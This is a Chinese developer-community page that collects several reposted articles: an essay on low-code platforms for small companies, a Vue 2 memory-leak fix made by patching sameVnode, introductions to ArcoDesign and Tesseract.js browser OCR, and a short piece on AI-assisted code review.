注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

慎重!小公司要不要搞低代码?

web
慎重!小公司到底要不要搞自己的低代码? 同学们好,我想结合自己的亲身经历,谈谈我对低代码开发的看法,讨论下人手和精力本就有限的小公司到底要不要搞低代码(中大厂无论资源还是KPI,并不在讨论范围)。 我对低代码最直白的理解 通过可视化拖拽来快速搭建某个场景的工具...
继续阅读 »

慎重!小公司到底要不要搞自己的低代码?


同学们好,我想结合自己的亲身经历,谈谈我对低代码开发的看法,讨论下人手精力本就有限小公司到底要不要搞低代码(中大厂无论资源还是KPI,并不在讨论范围)。


我对低代码最直白的理解


通过可视化拖拽来快速搭建某个场景工具,以实现降本增效


市面低代码有哪些?


某个场景这个词很广泛,我们根据某个场景设计了各种低代码平台


单一场景



  • 用来在线设计图片


home.png

  • 用来搭建H5页


home.png

  • 用来搭建商城


home.png

  • 用来搭建问卷调查




  • 用来搭建Form表单




  • 审批流管理系统




全场景


除了上述单一场景低代码,还有一种并不是只想做工具。而是要做全场景、无限自由度的通用型低代码平台。


其中代表作,肯定大家都很熟悉,阿里的lowcode-engine



什么是低代码毒瘤?


就是不少低代码平台用户(技术)的使用反馈



  • 代码一句话的事,要搭建一整条逻辑链

  • 再完美、再丰富的业务物料库,并不能覆盖所有业务,实际上每有新业务都是伴随大量的新业务物料开发

  • 解决BUG时超难debug,你只能根据逻辑链去慢慢检查节点逻辑

  • 很容易形成孤岛,你接手的别人屎山代码还能直接阅读代码理解,你接手的屎山低代码平台怎么捋

  • 我想干的是技术,入职干几年JSP我人都会废掉,更别说拖拽逻辑、拖拽组件开发页面,逼我辞职!(真实经历,导致从后端转前端,后文有详述)


我眼中的低代码


回到开头,我理解的低代码



它就应该像一把手术刀(工具),为消除某个病瘤(某个场景),精准简单快捷解决问题(降本增效)。


而不是造一个可视化的编辑器,先用可视化编辑器先去构造场景,然后再在构造的场景上开发,这在我看来是本末倒置。


强如lowcode-engine,阿里一个团队****开发了几年,都定义了schema协议标准,大家使用都是吐嘈声一片。可见这不是技术原因,而是设计原因。从为业务提效的工具改为了提效程序员的编辑器


切忌!不要为了一口醋,一顿饺子


我认为低代码以程序员为用户去设计低代码产品注定失败,这几年低代码毒瘤的评价就是一场大型的社会实验,这就是用户(程序员)最真实的反馈


我理想中的的低代码:



  • 用户:产品、运营、不懂技术的普通用户

  • 功能: 简单、快速、稳定的搭建某一场景

  • 目的:实现场景业务的降本增效

  • 槽点:原本目的是让非程序员通过平台能简单、快速新增固定场景业务,现在却是想开发一个可视化搭建编辑器取代程序员??


我的结论是,如果那么复杂的场景,物料拖来拖去,逻辑链上百个节点,不如cursor一句话...


这是我的黑历史,也是我的来时路


转行前端:低代码熟练工最早受害者


我2017年大学毕业,原本学的是Java,在南京面试并入职了一家公司做后端开发


当时公司招聘了大量应届毕业生,我本以为是因为业务发展迅速,需要大量研发人员。然而入职后才发现,公司后端开发并不使用代码开发,而是通过公司自研的一个逻辑编辑器进行开发。这个编辑器采用拖拽节点搭建逻辑链的方式来实现后端业务。我们平时写的一句代码,实际上就是一条逻辑链,独立的方法构成一个独立的父节点,节点之间再相互串联。之所以招聘这么多人,是因为公司离职率极高,每年大约只有20%的人能留下来。公司通过这种方式,逐年筛选出逻辑编辑器的熟练工


我干了两个月后,实在无法适应,准备离职。但当时招聘季已经结束,只能暂时忍耐。转机出现在公司的低代码平台——它只支持后端开发,前端仍然需要编写代码。前端组也在招人,于是我谎称自己会前端,成功转到了前端组。但实际上,我当时只会一点Vue基础,完全不懂前端开发,只能从头学起。最终,我从后端彻底转成了前端开发


在大半年后,我跳槽去了另一家公司。就在我准备离职时,公司其他部门的前端组也开发出了类似的低代码平台。我试用过,虽然非常难用,很多操作反人类,但公司也打算仿照后端的模式,每年招聘前端应届生,逐年筛选出熟练工


可以说,我们这波人是国内最早被低代码迫害的那批开发者。因为我亲身经历过,所以我很明确地告诉大家:有些公司开发和推广低代码平台的目的,并不是为了提升业务效率,而是为了替换掉研发人员,转而使用一些廉价的低代码平台的熟练工


这简直从根源上实现了节流,对他们来说也是增效


开源之旅:构建我理解的低代码平台


了解我的同学可能知道,我是低代码开源项目Mall-Cook云搭作者,既然我已受过低代码的迫害,那为什么还要开发低代码?


因为我想还原可视化拖拽搭建降本增效原本的魅力


我的的研究很明确,就是开发普通人(产品、运营、不管会不会技术的普通人)在某些场景(H5、问卷、图片、商城等)能简单、快速搭建的工具(有用的才算工具,如果只是KPI产品,合格的软件我认为都不算)


五年磨一剑,三代铸巅峰


我公司是一家做文旅小公司,而公司的业务恰好是我低代码项目落地最佳场景


在过去的五年,我独立开发了三代低代码项目,在项目我都会开发完成后。都自荐接入公司的实际项目中,通过用户实际使用的反馈,不断的优化扩展


H5-Generate

我自研第一代低代码平台,当时仿照鲁班花了3个月自己搞了一个H5生成器,用来搭建生成活动页H5。


最初的试水之作,现在看来很简陋、使用体验也一般,也没信心开源出来献丑。不过我接入公司文旅小程序,支持了我们当时拳头产品数百个活动页的搭建。



Mall-Cook

自研第二代低代码平台,突破只能搭建H5的桎梏,支持搭建H5、小程序、APP任意端页面搭建。


开源地址: 链接



Mall-Cook旨在开发一个供运营、产品快速搭建商城的可视化平台。其实现了可视化页面搭建、组件流水线式标准接入、搭建页面多端生成(H5、小程序、APP)、运营/产品低学习成本维护等特点。



Mall-Cook是我承上启下的开发项目,在项目开发完成后,在当时我还是比较满意的。


所以把项目进行了开源,并向公司自荐由Mall-Cook替换掉H5-Generate,支持公司后续项目的可视化搭建需求


Mall-Cook在开源和公司都取得了很不错的成绩,真正让普通人去做了部分研发需求做的工作,真做到了我所希望的降本提效



云搭

自研第三代低代码平台,大成之作,云搭万物,触手可及!


云搭平台: 链接


开源地址: 链接


介绍文章: 链接



云搭是一款功能强大的可视化搭建解决方案,它支持零代码搭建小程序H5问卷图文文章等多种应用,致力于提供一套简单便捷专业可靠的多场景可视化搭建平台。


我愿景是让所有用户(无论会不会技术的普通人),使用云搭可以简单、便捷搭建各种应用。



平台功能



  • 使用uni-app渲染器支持H5、小程序、APP的多端渲染

  • 开发自定义表单系统,支持表单-列表-详情页整链路设计方案

  • 结合多端渲染与自定义表单系统,云搭设计了小程序H5问卷图文文章多种使用场景

  • 开发嵌套布局,提供卡片、tab等容器组件,让页面支持无限层级嵌套布局

  • 内置图片实时编辑,给用户更多自由设计空间

  • 开发数据分析模块,多维度统计分析问卷、表单数据

  • 开发资源社区,共享用户创建的应用模板

  • 内置图片库,提供1000+图片资源


通过一代代的产品,解读我眼中的低代码


我对低代码的理解是通过可视化拖拽来快速搭建某个场景工具


那我设计云搭的理想就是,通过可视化拖拽来快速搭建多个场景工具库


回到当初那句话,这几年一步步走来,我始终坚信实践是检验真理的唯一标准,我理想国也从未变过...



小公司到底要不要搞自己的低代码?



  • 我们公司是做文旅的,活动、电商等天然就满足可视化搭建工具的增效。如果公司业务类似的部分简单场景,可以github找个相关项目或者自研个简单的工具来提效

  • 如果用来搭建管理后台页面,我的意见直接是直接否掉。我的亲身例子就是,不要像我那样最后受不了煎熬,只能离职。包括我们公司只是在后台封装了通用业务组件和CURD Hooks来提效开发,新页面直接CV然后改需求,真的我感觉搞来搞去不如不如cursor一句话。


小公司不是那些中大厂,是不会成立项目组来做这些。在人力和精力有限的情况下,如果是固定场景的话,可以找市面上成熟的平台仿照开发,如果是想用lowcode-engine来打造公司通用型平台,直接拒掉...


真实案例


除了我司,我再举个真实例子(大道理谁都会说,我始终坚信实践是检验真理的唯一标准)


古茗的前端团队


🚀遥遥领先!古茗门店菜单智能化的探索


古茗在面对门店几百张菜单,经常更新的业务现状



开发门店菜单智能化平台搭建电子菜单,切实的实现增效



还是我那句话,它就应该像一把手术刀(工具),为消除某个病瘤(某个场景),精准简单快捷解决问题(降本增效)。


不为解决实际问题开发它干嘛?不如不做...


巅峰看到虚假的拥护,黄昏见证真正的忠诚


我从低代码还未大火时便开始研究,见证了它的崛起与沉寂。巅峰时,无数人追捧,仿佛它是解决一切问题的灵丹妙药;而如今,热潮退去,许多人选择离开,我还是孜孜不倦的探索我的眼中的低代码。


写这篇文章就是想对低代码祛魅,拨开层层糖衣看看它真实的模样。它没外界吹捧的那么无所不能,但也并未一无是处。


一去数年,我仍在低代码的道路上独自求索,构建自己的理想国


诸君共勉 ~


作者:雨尽阑珊
来源:juejin.cn/post/7468621394736922662
收起阅读 »

为了解决内存泄露,我把 vue 源码改了

web
前言彦祖们,好久不见,最近一直忙于排查单位业务的终端内存泄露问题,已经吃了不下 10 个 bug 了但是排查内存泄露在前端领域属于比较冷门的领域了这篇文章笔者将带你一步步分享业务实践中遇到的内存泄露问题以及如何修复的经历本文涉及技术栈vue...
继续阅读 »

前言

彦祖们,好久不见,最近一直忙于排查单位业务的终端内存泄露问题,已经吃了不下 10 个 bug 

但是排查内存泄露在前端领域属于比较冷门的领域了

这篇文章笔者将带你一步步分享业务实践中遇到的内存泄露问题以及如何修复的经历

本文涉及技术栈

  • vue2

场景复现

如果之前有看过我文章的彦祖们,应该都清楚

笔者所在的单位有一个终端叫做工控机(类似于医院挂号的终端),没错!所有的 bug 都源自于它😠

因为内存只有 1G 所以一旦发生内存泄露就比较可怕

不过没有这个机器 好像也不会创作这篇文章😺

复现 demo

彦归正传,demo 其实非常简单,只需要一个最简单的 vue2 demo 就可以了

  • App.vue

<script>
import Test from './test.vue'
export default {
name: 'App',
components: {
Test
},
data () {
return {
render: false
}
}
}
script>

<style>
#app {
font-family: Avenir, Helvetica, Arial, sans-serif;
-webkit-
font-smoothing: antialiased;
-moz-osx-
font-smoothing: grayscale;
text-align: center;
color: #2c3e50;
}
style>


  • test.vue


<script>
export default {
name: 'Test',
data () {
return {
total: 1000
}
},
mounted () {
this.timer = setTimeout(() => {
this.total = 10000
},
500)
},
beforeDestroy () {
clearTimeout(this.timer)
}
}
script>

复现流程

以下流程建议彦祖们在 chrome 无痕模式下执行

  1. 我们点击 render 按钮渲染 test 组件,此时我们发现 dom 节点的个数来到了 2045

image.png

考虑到有彦祖可能之前没接触过这块面板,下图展示了如何打开此面板

image.png

  1. 500ms 后(定时器执行完成后,如果没复现可以把 500ms 调整为 1000ms, 1500ms),我们点击 destroy 按钮
  2. 我们点击面板这里的强制回收按钮(发现节点并没有回收,已发生内存泄露)

image.png

如果你的浏览器是最新的 chrome,还能够点击这里的 已分离的元素(detached dom),再点击录制

image.png

我们会发现此时整个 test 节点已被分离

image.png

问题分析

那么问题到底出在哪里呢?

vue 常见泄露场景

笔者搜遍了全网,网上所说的不外乎以下几种场景

1.未清除的定时器

2.未及时解绑的全局事件

3.未及时清除的 dom 引用

4.未及时清除的 全局变量

5.console 对引用类型变量的劫持

好像第一种和笔者的场景还比较类似,但是仔细看看代码好像也加了

beforeDestroy () {
clearTimeout(this.timer)
}

这段代码啊,就算不加,timer 执行完后,事件循环也会把它回收掉吧

同事提供灵感

就这样笔者这段代码来回测试了半天也没发现猫腻所在

这时候同事提供了一个想法说"total 更新的时候是不是可以提供一个 key"

改了代码后就变成了这样了

  • test.vue


<script>
export default {
name: 'Test',
data () {
return {
renderKey: 0,
total: 1000
}
},
mounted () {
this.timer = setTimeout(() => {
this.total = 10000
this.renderKey = Date.now()
}, 500)
},
beforeDestroy () {
clearTimeout(this.timer)
}
}
script>

神奇的事情就这样发生了,笔者还是按以上流程测试了一遍,直接看结果吧

image.png

我们看到这个 DOM 节点曲线,在 destroy 的时候能够正常回收了

问题复盘

最简单的 demo 问题算是解决了

但是应用到实际项目中还是有点困难

难道我们要把每个更新的节点都手动加一个 key 吗?

其实仔细想想,有点 vue 基础的彦祖应该了解这个 key 是做什么的?

不就是为了强制更新组件吗?

等等,强制更新组件?更新组件不就是 updated 吗?

updated 涉及的不就是八股文中我们老生常谈的 patch 函数吗?(看来八股文也能真有用的时候😺)

那么再深入一下, patch 函数内部不就是 patchVnode 其核心不就是 diff 算法吗?

首对首比较,首对尾比较,尾对首比较,尾对尾比较 这段八股文要是个 vuer 应该都不陌生吧?😺

动手解决

其实有了问题思路和想法

那么接下来我们就深入看看 vue 源码内部涉及的 updated 函数到底在哪里吧?

探索 vue 源码

我们找到 node_modules/vue/vue.runtime.esm.js

image.png

我们看到了 _update 函数真面目,其中有个 __patch__ 函数,我们再重点查看一下

image.png

image.png

createPatchFunction 最后 return 了这个函数

image.png

我们最终来看这个 updateChildren 函数

image.png

其中多次出现了上文中所提到的八股文,每个都用 sameVnode进行了对比

  • function sameVnode
function sameVnode (a, b) {
return (a.key === b.key &&
a.asyncFactory === b.asyncFactory &&
((a.tag === b.tag &&
a.isComment === b.isComment &&
isDef(a.data) === isDef(b.data) &&
sameInputType(a, b)) ||
(isTrue(a.isAsyncPlaceholder) && isUndef(b.asyncFactory.error))));
}

果然这里我们看到了上文中 key 的作用

key 不一样就会认作不同的 vnode

那么就会强制更新节点

对应方案

既然找到了问题的根本

在判定条件中我们是不是直接加个 || a.text !== b.text

强制对比下文本节点不就可以了吗?

修改 sameVnode

看下我们修改后的 sameVnode

function sameVnode (a, b) {
if(a.text !== b.text) return false // 文本不相同 直接 return
return (a.key === b.key &&
a.asyncFactory === b.asyncFactory &&
((a.tag === b.tag &&
a.isComment === b.isComment &&
isDef(a.data) === isDef(b.data) &&
sameInputType(a, b)) ||
(isTrue(a.isAsyncPlaceholder) && isUndef(b.asyncFactory.error))));
}

方案效果

让我们用同样的代码来测试下

image.png

测试了几次发现非常的顺利,至此我们本地的修改算是完成了

如何上线?

以上的方案都是基于本地开发的,那么我们如何把代码应用到线上呢?

其他开发者下载的 vue 包依旧是 老的 sameVnode 啊

不慌,接着看

patch-package

对比了好几种方式,最终我们选择了这个神器

其实使用也非常简单

1.npm i patch-package

2.修改 node_modules/vue 源码

3.在根目录执行 npx patch-package vue(此时如果报错,请匹配对应 node 版本的包)

我们会发现新增了一个这样的文件

image.png

4.我们需要在package.json scripts 新增以下代码

  • package.json
"scripts": {
+"postinstall":"patch-package"
}

至此上线后,其他开发者执行 npm i 后便能使变动的补丁生效了

优化点

其实我们的改造还有一定的进步空间,比如说在指定节点上新增一个 attribute

在函数内部判断这个 attribute 再 return false

这样就不用强制更新每个节点了

当然方式很多种,文章的意义在于解决问题的手段和耐心

写在最后

最后再次感谢同事 juejin.cn/user/313102… 的提供的灵感和协助

感谢彦祖们的阅读

个人能力有限

如有不对,欢迎指正🌟 如有帮助,建议小心心大拇指三连🌟


作者:前端手术刀
来源:juejin.cn/post/7460431444630011919

收起阅读 »

ArcoDesign,字节跳动又一开源力作,企业级UI开源库,一个字“牛”!

web
大家好,我是程序视点的小二哥! 今天给大家分享的是:ArcoDesign。 它是字节跳动在稀土开发者大会上开源的企业级设计UI开源库。 关于 ArcoDesign ArcoDesign 主要解决在打造中后台应用时,让产品设计和开发无缝连接,提高质量和效率。 ...
继续阅读 »

大家好,我是程序视点的小二哥!

今天给大家分享的是:ArcoDesign

它是字节跳动在稀土开发者大会上开源的企业级设计UI开源库。



关于 ArcoDesign


ArcoDesign 主要解决在打造中后台应用时,让产品设计和开发无缝连接,提高质量和效率。

目前 ArcoDesign 主要服务于字节跳动旗下中后台产品的体验设计和技术实现,打磨沉淀 3 年之后开源。现主要由字节跳动 GIP UED 团队和架构前端团队联合共同构建及维护。


ArcoDesign 的亮点



  • 提供系统且全面的设计规范和资源,覆盖产品设计、UI 设计以及后期开发




  • ReactVue 同步支持。同时提供了 ReactVue 两套 UI 组件库。Vue 组件库基于 Vue 3.0 开发,并配详细的上手文档。




  • 支持一键开启暗黑模式,主题无缝切换


// 设置为暗黑主题
document.body.setAttribute('arco-theme', 'dark')

// 恢复亮色主题
document.body.removeAttribute('arco-theme');


  • 提供了最佳实践 Arco Pro,整理了常见的页面场景,帮助用户快速初始化项目和使用页面模板,从 0 到 1 搭建中后台应用



体验和使用建议


ArcoDesign 官方介绍和文档写得很磅礴,内容超多,格局很大。


针对前端开发者来说,有三点想法:



  • 一个设计系统同时提供目前最流行的ReactVue框架各提供一套 UI 组件库,综合性很强(官方考虑很全面)。

  • ArcoDesign UI 组件库的使用文档很详尽,上手简单,代码例子充足,使用体验和 AntDesignElement UI 类似。前端开发者入手成本低




  • ArcoDesign 提供的这套组件设计风格很时尚新潮,配色鲜明,细节处理优雅,细微的交互动效让人很舒服,不需要投入太多的设计工作就可以搭建一个品质很高的应用。


当然,在资源设计方面,也有友好的对接。对于设计能力强的团队,ArcoDesign 也提供了很多快速且精准的样式定制工具。



其他


官网还有很多特性的说明,作为一个介绍文章没法展开篇幅说明,总的来说,ArcoDesign 是一个可用性很强的中后台应用设计系统。更多内容请查阅官方网站。



ArcoDesign官方地址

arco.design/



写在最后


【程序视点】助力打工人减负,从来不是说说而已!


后续小二哥会继续详细分享更多实用的工具和功能。持续关注,这样就不会错过之后的精彩内容啦!~


如果这篇文章对你有帮助的话,别忘了【一键三连】支持下哦~


作者:程序视点
来源:juejin.cn/post/7462197664886636596
收起阅读 »

纯前端也能实现 OCR?

web
前言 前端时间有一个 OCR 的需求,原本考虑调用现成的 OCR 接口,但由于只是做一个我个人使用的工具,花钱购买 OCR 接口显得有些奢侈。于是就想着找找是否有现成的库可以自己部署或直接使用,结果发现了一个可以在纯前端实现 OCR 的库——Tesseract...
继续阅读 »

前言


前端时间有一个 OCR 的需求,原本考虑调用现成的 OCR 接口,但由于只是做一个我个人使用的工具,花钱购买 OCR 接口显得有些奢侈。于是就想着找找是否有现成的库可以自己部署或直接使用,结果发现了一个可以在纯前端实现 OCR 的库——Tesseract.js


Tesseract.js


Tesseract.js 是一个基于 Google Tesseract OCR 引擎的 JavaScript 库,利用 WebAssembly 技术将的 OCR 引擎带到了浏览器中。它完全运行在客户端,无需依赖服务器,适合处理中小型图片的文字识别。


主要特点



  • 多语言支持:支持多种语言文字识别,包括中文、英文、日文等。

  • 跨平台:支持浏览器和 Node.js 环境,灵活应用于不同场景。

  • 开箱即用:无需额外依赖后端服务,直接在前端实现 OCR 功能。

  • 自定义训练数据:支持加载自定义训练数据,提升特定场景下的识别准确率。


安装


通过 npm 安装


npm install tesseract.js

通过 CDN 引入


<script src="https://unpkg.com/tesseract.js@latest/dist/tesseract.min.js"></script>

基本使用


以下示例展示了如何使用 Tesseract.js 从图片中提取文字:


import Tesseract from 'tesseract.js';

Tesseract.recognize(
'image.png', // 图片路径
'chi_sim', // 识别语言(简体中文)
{
logger: info => console.log(info), // 实时输出进度日志
}
).then(({ data: { text } }) => {
console.log('识别结果:', text);
});

示例图片



运行结果



可以看到,虽然识别结果不完全准确,但整体准确率较高,能够满足大部分需求。


更多用法


1. 多语言识别


Tesseract.js 支持多语言识别,可以通过字符串或数组指定语言代码:


// 通过字符串的方式指定多语言
Tesseract.recognize('image.png', 'eng+chi_sim').then(({ data: { text } }) => {
console.log('识别结果:', text);
});

// 通过数组的方式指定多语言
Tesseract.recognize('image.png', ['eng','chi_sim']).then(({ data: { text } }) => {
console.log('识别结果:', text);
});

eng+chi_sim 表示同时识别英文和简体中文。Tesseract.js 内部会将字符串通过 split 方法分割成数组:


const currentLangs = typeof langs === 'string' ? langs.split('+') : langs;

2. 处理进度日志


可以通过 logger 回调函数查看任务进度:


Tesseract.recognize('image.png', 'eng', {
logger: info => console.log(info.status, info.progress),
});

输出示例:



3. 自定义训练数据


如果需要识别特殊字符,可以加载自定义训练数据:


const worker = await createWorker('语言文件名', OEM.DEFAULT, {
logger: info => console.log(info.status, info.progress),
gzip: false, // 是否对来自远程的训练数据进行 gzip 压缩
langPath: '/path/to/lang-data' // 自定义训练数据路径
});


[!warning] 注意:



  1. 第一个参数为加载自定义训练数据的文件名,不带后缀。

  2. 加载自定义训练数据的文件后缀名必须为 .traineddata

  3. 如果文件名不是 .traineddata.gzip,则需要设置 gzipfalse



举例


const worker = await createWorker('my-data', OEM.DEFAULT, {
logger: info => console.log(info.status, info.progress),
gzip: false,
langPath: 'http://localhost:5173/lang',
});

加载效果



4. 通过前端上传图片


通常,图片是通过前端让用户上传后进行解析的。以下是一个简单的 Vue 3 示例:


<script setup>
import { createWorker } from 'tesseract.js';

async function handleUpload(evt) {
const files = evt.target.files;
const worker = await createWorker("chi_sim");
for (let i = 0; i < files.length; i++) {
const ret = await worker.recognize(files[i]);
console.log(ret.data.text);
}
}
</script>

<template>
<input type="file" @change="handleUpload" />
</template>

完整示例


下面提供一个简单的 OCR 示例,展示了如何在前端实现图片上传、文字识别以及图像处理。


代码


<!--
* @Author: zi.yang
* @Date: 2024-12-10 09:15:22
* @LastEditors: zi.yang
* @LastEditTime: 2025-01-14 08:06:25
* @Description: 使用 tesseract.js 实现 OCR
* @FilePath: /vue-app/src/components/HelloWorld.vue
-->

<script setup lang="ts">
import { ref } from 'vue';
import { createWorker, OEM } from 'tesseract.js';

const uploadFileName = ref<string>("");
const imgText = ref<string>("");

const imgInput = ref<string>("");
const imgOriginal = ref<string>("");
const imgGrey = ref<string>("");
const imgBinary = ref<string>("");

async function handleUpload(evt: any) {
const file = evt.target.files?.[0];
if (!file) return;
uploadFileName.value = file.name;
imgInput.value = URL.createObjectURL(file);
const worker = await createWorker("chi_sim", OEM.DEFAULT, {
logger: info => console.log(info.status, info.progress),
});
const ret = await worker.recognize(file, { rotateAuto: true }, { imageColor: true, imageGrey: true, imageBinary: true });
imgText.value = ret.data.text || '';
imgOriginal.value = ret.data.imageColor || '';
imgGrey.value = ret.data.imageGrey || '';
imgBinary.value = ret.data.imageBinary || '';
}

// 占位符 svg
const svgIcon = encodeURIComponent('<svg t="1736901745913" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="4323" width="140" height="140"><path d="M804.9 243.4c8.1 0 17.1 10.5 17.1 24.5v390.9c0 14-9.1 24.5-17.3 24.5H219.3c-8 0-17.3-10.7-17.3-24.5V267.9c0-14 9.1-24.5 17.3-24.5h585.6m0-80H219.3c-53.5 0-97.3 47-97.3 104.5v390.9c0 57.3 43.8 104.5 97.3 104.5h585.4c53.5 0 97.3-47 97.3-104.5V267.9c0-57.5-43.7-104.5-97.1-104.5z" fill="#5E9EFC" p-id="4324"></path><path d="M678.9 294.5c28 0 50.6 22.7 50.6 50.6 0 28-22.7 50.6-50.6 50.6s-50.6-22.7-50.6-50.6c0-28 22.7-50.6 50.6-50.6z m-376 317.6l101.4-215.7c6-12.8 24.2-12.8 30.2 0l101.4 215.7c5.2 11-2.8 23.8-15.1 23.8H318c-12.2 0-20.3-12.7-15.1-23.8z" fill="#5E9EFC" p-id="4325"></path><path d="M492.4 617L573 445.7c4.8-10.1 19.2-10.1 24 0L677.6 617c4.1 8.8-2.3 18.9-12 18.9H504.4c-9.7 0-16.1-10.1-12-18.9z" fill="#5E9EFC" opacity=".5" p-id="4326"></path></svg>');
const placeholder = 'data:image/svg+xml,' + svgIcon;
</script>

<template>
<div class="custom-file-upload">
<label for="file-upload" class="custom-label">选择文件</label>
<span id="file-name" class="file-name">{{ uploadFileName || '未选择文件' }}</span>
<input id="file-upload" type="file" @change="handleUpload" />
</div>

<div class="row">
<div class="column">
<p>输入图像</p>
<img alt="原图" :src="imgInput || placeholder">
</div>
<div class="column">
<p>旋转,原色</p>
<img alt="原色" :src="imgOriginal || placeholder">
</div>
<div class="column">
<p>旋转,灰度化</p>
<img alt="灰度化" :src="imgGrey || placeholder">
</div>
<div class="column">
<p>旋转,二值化</p>
<img alt="二进制" :src="imgBinary || placeholder">
</div>
</div>

<div class="result">
<h2>识别结果</h2>
<p>{{ imgText || '暂无结果' }}</p>
</div>
</template>

<style scoped>
/* 隐藏原生文件上传按钮 */
input[type="file"] {
display: none;
}

/* 自定义样式 */
.custom-file-upload {
display: inline-block;
cursor: pointer;
margin-bottom: 30px;
}

.custom-label {
padding: 10px 20px;
color: #fff;
background-color: #007bff;
border-radius: 5px;
display: inline-block;
font-size: 14px;
cursor: pointer;
}

.custom-label:hover {
background-color: #0056b3;
}

.file-name {
margin-left: 10px;
font-size: 14px;
color: #555;
}

.row {
display: flex;
width: 100%;
justify-content: space-around;
}

.column {
width: 24%;
padding: 5px;
border: 1px solid #ccc;
border-radius: 5px;
background-color: #f9f9f9;
text-align: center;
min-height: 100px;
}

.column > p {
margin: 0 0 10px 0;
padding: 5px;
border-bottom: 1px solid #ccc;
font-weight: 600;
}

.column > img {
width: 100%;
}

.result {
margin-top: 20px;
padding: 10px;
border: 1px solid #ccc;
border-radius: 5px;
background-color: #f9f9f9;
}

.result > h2 {
margin: 0;
}

.result > p {
white-space: pre-wrap;
word-wrap: break-word;
word-break: break-all;
font-size: 16px;
line-height: 1.5;
color: #333;
margin: 10px 0;
}
</style>

实现效果



资源加载失败


Tesseract.js 在运行时需要动态加载三个关键文件:Web Workerwasm训练数据。由于默认使用的是 jsDelivr CDN,国内用户可能会遇到网络加载问题。为了解决这个问题,可以通过指定 unpkg CDN 来加速资源加载:


const worker = await createWorker('chi_sim', OEM.DEFAULT, {
langPath: 'https://unpkg.com/@tesseract.js-data/chi_sim/4.0.0_best_int',
workerPath: 'https://unpkg.com/tesseract.js/dist/worker.min.js',
corePath: 'https://unpkg.com/tesseract.js-core/tesseract-core-simd-lstm.wasm.js',
});

如果需要离线使用,可以将这些资源下载到本地,并将路径指向本地文件即可。


结语


Tesseract.js 是目前前端领域较为成熟的 OCR 库,适合在无需后端支持的场景下快速实现文字识别功能。通过合理的图片预处理和优化,可以满足大部分中小型应用的需求。


相关链接



作者:子洋
来源:juejin.cn/post/7459791088791797786
收起阅读 »

现在前端组长都是这样做 Code Review

web
前言 Code Review 是什么? Code Review 通常也简称 CR,中文意思就是 代码审查 一般来说 CR只关心代码规范和代码逻辑,不关心业务 但是,如果CR的人是组长,建议有时间还是看下与自己组内相关业务,能避免一些生产事故的发生 作为前端组长...
继续阅读 »

前言


Code Review 是什么?


Code Review 通常也简称 CR,中文意思就是 代码审查


一般来说 CR只关心代码规范和代码逻辑,不关心业务


但是,如果CR的人是组长,建议有时间还是看下与自己组内相关业务,能避免一些生产事故的发生


作为前端组长做 Code Review 有必要吗?


主要还是看公司业务情况吧,如果前端组长需求不多的情况,是可以做下CR,能避免一些生产事故



  • 锻炼自己的 CR 能力

  • 看看别人的代码哪方面写的更好,学习总结

  • 和同事交流,加深联系

  • 你做了 CR,晋升和面试,不就有东西吹了不是


那要怎么去做Code Review呢?


可以从几个方面入手



  • 项目架构规范

  • 代码编写规范

  • 代码逻辑、代码优化

  • 业务需求


具体要怎么做呢?


传统的做法是PR时查看,对于不合理的地方,打回并在PR中备注原因或优化方案


每隔一段时间,和组员开一个简短的CR分享会,把一些平时CR过程中遇到的问题做下总结


当然,不要直接指出是谁写出的代码有问题,毕竟这不是目的,分享会的目的是交流学习


人工CR需要很大的时间精力,与心智负担


随着 AI 的发展,我们可以借助一些 AI 来帮我们完成CR


接下来,我们来看下,vscode中是怎么借助 AI 工具来 CR


安装插件 CodeGeex
image-20240723191918678.png


新建一个项目


mkdir code-review
cd code-review

创建 test.js 并用 vscode 打开


cd .>test.js
code ./

image-20240723192853589.png


编写下 test.js


function checkStatus() {
if (isLogin()) {
if (isVip()) {
if (isDoubleCheck()) {
done();
} else {
throw new Error("不要重复点击");
}
} else {
throw new Error("不是会员");
}
} else {
throw new Error("未登录");
}
}

这是连续嵌套的判断逻辑,要怎么优化呢?


侧边栏选择这个 AI 插件,选择我们需要CR的代码


输入 codeRiview,回车


动画.gif


我们来看下 AI 给出的建议


image-20240723194729540.png


AI 给出的建议还是很不错的,我们可以通过更多的提示词,优化它给出的修改建议,这里就不过多赘述了


通常我们优化这种类型的代码,基本优化思路也是,前置校验逻辑,正常逻辑后置


除了CodeGeex外,还有一些比较专业的 codeRiview 的 AI 工具


比如:CodeRabbit


那既然都有 AI 工具了,我们还需要自己去CR 吗?


还是有必要的,借助 AI 工具我们可以减少一些阅读大量代码环节,提高效率,减少 CR 的时间


但是仍然需要我们根据 AI 工具的建议进行改进,并且总结,有利于拓宽我们见识,从而写出更优质的代码


具体 CR 实践


判断逻辑优化


1. 深层对象判空


// 深层对象
if (
store.getters &&
store.getters.userInfo &&
store.getters.userInfo.menus
) {}

// 可以使用 可选链进行优化
if (store?.getters?.userInfo?.menus) {}

2. 空函数判断


优化之前


props.onChange && props.onChange(e)

支持 ES11 可选链写法,可这样优化,js 中需要这样,ts 因为有属性校验,可以不需要判断,当然也特殊情况


props?.onChange?.(e)

老项目,不支持 ES11 可以这样写


const NOOP = () => 8
const { onChange = NOOP } = props
onChange(e)

3. 复杂判断逻辑抽离成单独函数


// 复杂判断逻辑
function checkGameStatus() {
if (remaining === 0 ||
(remaining === 1 && remainingPlayers === 1) ||
remainingPlayers === 0) {
quitGame()
}
}

// 复杂判断逻辑抽离成单独函数,更方便阅读
function isGameOver() {
return (
remaining === 0 ||
(remaining === 1 && remainingPlayers === 1) ||
remainingPlayers === 0
);
}

function checkGameStatus() {
if (isGameOver()) {
quitGame();
}
}

4. 判断处理逻辑正确的梳理方式


// 判断逻辑不要嵌套太深
function checkStatus() {
if (isLogin()) {
if (isVip()) {
if (isDoubleCheck()) {
done();
} else {
throw new Error('不要重复点击');
}
} else {
throw new Error('不是会员');
}
} else {
throw new Error('未登录');
}
}

这个是不是很熟悉呀~


没错,这就是使用 AI 工具 CR的代码片段


